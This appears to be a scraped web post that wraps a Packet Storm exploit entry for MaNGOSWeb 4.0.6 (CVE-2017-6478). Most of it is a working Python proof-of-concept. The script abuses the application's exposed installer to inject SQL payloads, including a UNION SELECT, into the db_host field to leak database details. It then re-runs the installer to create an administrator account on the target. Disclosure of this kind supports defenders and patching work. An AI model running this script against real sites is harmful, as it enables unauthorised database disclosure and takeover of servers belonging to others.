{“lastseen”:”2026-01-29T16:29:31″,”description”:”MaNGOSWeb version 4.0.6 remote SQL injection proof of concept exploit…”,”published”:”2026-01-29T00:00:00″,”modified”:”2026-01-29T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 MaNGOSWeb 4.0.6 SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:214584″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2017-6478″],”sourceData”:”=============================================================================================================================================\\n | # Title : MaNGOSWeb V4 4.0.6 Sql Injection |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/github.com\/paintballrefjosh\/MaNGOSWebV4\/blob\/master\/install\/index.php |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/212429\/ \\u0026\\tCVE-2017-6478\\n \\n [+] Summary : MaNGOSWebV4 version 4.0.6 suffers from a Sql injection vulnerability.\\n \\n [+] POC : \\n \\n #!\/usr\/bin\/env python3\\n \\”\\”\\”\\n Usage: python3 poc.py https:\/\/target.com\\n \\”\\”\\”\\n import requests\\n import sys\\n import warnings\\n from urllib3.exceptions import InsecureRequestWarning\\n \\n # Suppress SSL warnings\\n warnings.filterwarnings(‘ignore’, category=InsecureRequestWarning)\\n \\n def exploit_sqli(target_url):\\n \\”\\”\\”Exploit SQL injection to steal database data\\”\\”\\”\\n \\n # Create session with SSL verification disabled\\n session = requests.Session()\\n session.verify = False # Disable SSL verification\\n \\n try:\\n # Step 1: Access installer\\n session.get(f\\”{target_url}\/install\/index.php?step=1\\”)\\n \\n # Step 2\\n session.get(f\\”{target_url}\/install\/index.php?step=2\\”)\\n \\n # Step 3\\n session.get(f\\”{target_url}\/install\/index.php?step=3\\”)\\n \\n # Exploitation in Step 4\\n payload = {\\n ‘db_host’: \\”localhost’ UNION SELECT version(),user(),database(),@@datadir,’injected’– -\\”,\\n ‘db_port’: ‘3306’,\\n ‘db_username’: ‘root’,\\n ‘db_password’: ‘test’,\\n ‘db_name’: ‘realmd’\\n }\\n \\n response = session.post(f\\”{target_url}\/install\/index.php?step=4\\”, data=payload)\\n \\n # Extract information from error message\\n if \\”MySql error log\\” in response.text:\\n start = response.text.find(\\”MySql error log:\\u003cbr \/\\u003e\\”) + 22\\n end = response.text.find(\\”\\u003c\/div\\u003e\\”, start)\\n error_msg = response.text[start:end]\\n \\n print(\\”[+] Database information leaked:\\”)\\n print(f\\” {error_msg}\\”)\\n \\n return True\\n \\n except requests.exceptions.SSLError as e:\\n print(f\\”[!] SSL Error: {e}\\”)\\n print(\\”[*] Trying with verify=False…\\”)\\n return False\\n \\n except Exception as e:\\n print(f\\”[!] Error: {e}\\”)\\n return False\\n \\n return False\\n \\n def create_admin_account(target_url, username, password):\\n \\”\\”\\”Create admin account remotely\\”\\”\\”\\n \\n session = requests.Session()\\n session.verify = False # Disable SSL verification\\n \\n try:\\n # Navigate through steps\\n for step in range(1, 6):\\n session.get(f\\”{target_url}\/install\/index.php?step={step}\\”)\\n \\n # Step 5 data\\n step5_data = {\\n ‘char_db_host’: ‘localhost’,\\n ‘char_db_port’: ‘3306’,\\n ‘char_db_username’: ‘mangos’,\\n ‘char_db_password’: ‘mangos’,\\n ‘char_db_name’: ‘characters’,\\n ‘w_db_host’: ‘localhost’,\\n ‘w_db_port’: ‘3306’,\\n ‘w_db_username’: ‘mangos’,\\n ‘w_db_password’: ‘mangos’,\\n ‘w_db_name’: ‘world’,\\n ‘db_host’: ‘localhost’,\\n ‘db_port’: ‘3306’,\\n ‘db_name’: ‘realmd’,\\n ‘db_username’: ‘mangos’,\\n ‘db_password’: ‘mangos’\\n }\\n \\n session.post(f\\”{target_url}\/install\/index.php?step=5\\”, data=step5_data)\\n \\n # Create account in Step 6\\n step6_data = {\\n ‘account’: username,\\n ‘pass’: password,\\n ‘pass2′: password\\n }\\n \\n response = session.post(f\\”{target_url}\/install\/index.php?step=6\\”, data=step6_data)\\n \\n if \\”Congradulations\\” in response.text or \\”Congratulations\\” in response.text:\\n print(f\\”[+] Admin account created:\\”)\\n print(f\\” Username: {username}\\”)\\n print(f\\” Password: {password}\\”)\\n return True\\n \\n except Exception as e:\\n print(f\\”[!] Error creating account: {e}\\”)\\n return False\\n \\n return False\\n \\n def simple_sql_injection_test(target_url):\\n \\”\\”\\”Simple SQL injection test with timeout handling\\”\\”\\”\\n \\n print(f\\”[*] Testing SQL Injection on {target_url}\\”)\\n \\n # Test different payloads\\n payloads = [\\n (\\”Basic Injection\\”, \\”localhost’ OR ‘1’=’1\\”),\\n (\\”Union Injection\\”, \\”localhost’ UNION SELECT 1,2,3,4,5– -\\”),\\n (\\”Error Based\\”, \\”localhost’ AND 1=CONVERT(int, @@version)– -\\”),\\n ]\\n \\n session = requests.Session()\\n session.verify = False\\n session.timeout = 10\\n \\n for payload_name, payload in payloads:\\n try:\\n data = {\\n ‘db_host’: payload,\\n ‘db_port’: ‘3306’,\\n ‘db_username’: ‘root’,\\n ‘db_password’: ‘test’,\\n ‘db_name’: ‘realmd’\\n }\\n \\n response = session.post(f\\”{target_url}\/install\/index.php?step=4\\”, \\n data=data, \\n timeout=10)\\n \\n if \\”error\\” in response.text.lower() or \\”mysql\\” in response.text.lower():\\n print(f\\”[+] Possible SQL Injection with {payload_name}\\”)\\n return True\\n \\n except requests.exceptions.Timeout:\\n print(f\\”[!] Timeout with {payload_name}\\”)\\n except Exception as e:\\n print(f\\”[!] Error with {payload_name}: {e}\\”)\\n \\n return False\\n \\n if __name__ == \\”__main__\\”:\\n if len(sys.argv) \\u003c 2:\\n print(f\\”Usage: {sys.argv[0]} \\u003ctarget_url\\u003e\\”)\\n print(f\\”Example: {sys.argv[0]} http:\/\/localhost\/mangosweb\\”)\\n print(f\\”Example: {sys.argv[0]} https:\/\/127.0.0.1\\”)\\n sys.exit(1)\\n \\n target = sys.argv[1]\\n \\n # Add http:\/\/ if not present\\n if not target.startswith((‘http:\/\/’, ‘https:\/\/’)):\\n target = ‘http:\/\/’ + target\\n \\n print(f\\”[*] Targeting: {target}\\”)\\n print(f\\”[*] SSL Verification: DISABLED\\”)\\n \\n # Test SQL injection\\n if simple_sql_injection_test(target):\\n print(\\”[+] SQL Injection vulnerability detected!\\”)\\n else:\\n print(\\”[-] No SQL Injection detected\\”)\\n \\n # Try to exploit SQL injection\\n print(\\”\\\\n[*] Attempting SQL Injection exploitation…\\”)\\n if exploit_sqli(target):\\n print(\\”[+] SQL Injection exploited successfully\\”)\\n else:\\n print(\\”[-] SQL Injection exploitation failed\\”)\\n \\n # Try to create admin account\\n print(\\”\\\\n[*] Attempting to create admin account…\\”)\\n if create_admin_account(target, \\”admin\\”, \\”Admin123!\\”):\\n print(\\”[+] Admin account created successfully\\”)\\n else:\\n print(\\”[-] Failed to create admin account\\”)\\n \\n print(\\”\\\\n[*] Attack completed\\”)\\n \\t\\n \\t\\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214584″,”cvss”:{“score”:6.1,”severity”:”MEDIUM”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:C\/C:L\/I:L\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/214584\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-01-29T16:29:31″,”description”:”MaNGOSWeb version 4.0.6 remote SQL injection proof of concept exploit…”,”published”:”2026-01-29T00:00:00″,”modified”:”2026-01-29T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 MaNGOSWeb 4.0.6 SQL Injection”,”source”:””,”references”:””,”id”:”PACKETSTORM:214584″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2017-6478″],”sourceData”:”=============================================================================================================================================\\n | # Title : MaNGOSWeb V4 4.0.6 Sql Injection |\\n |…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,31,12,21,13,53,7,11,5],"class_list":["post-38143","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-61","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n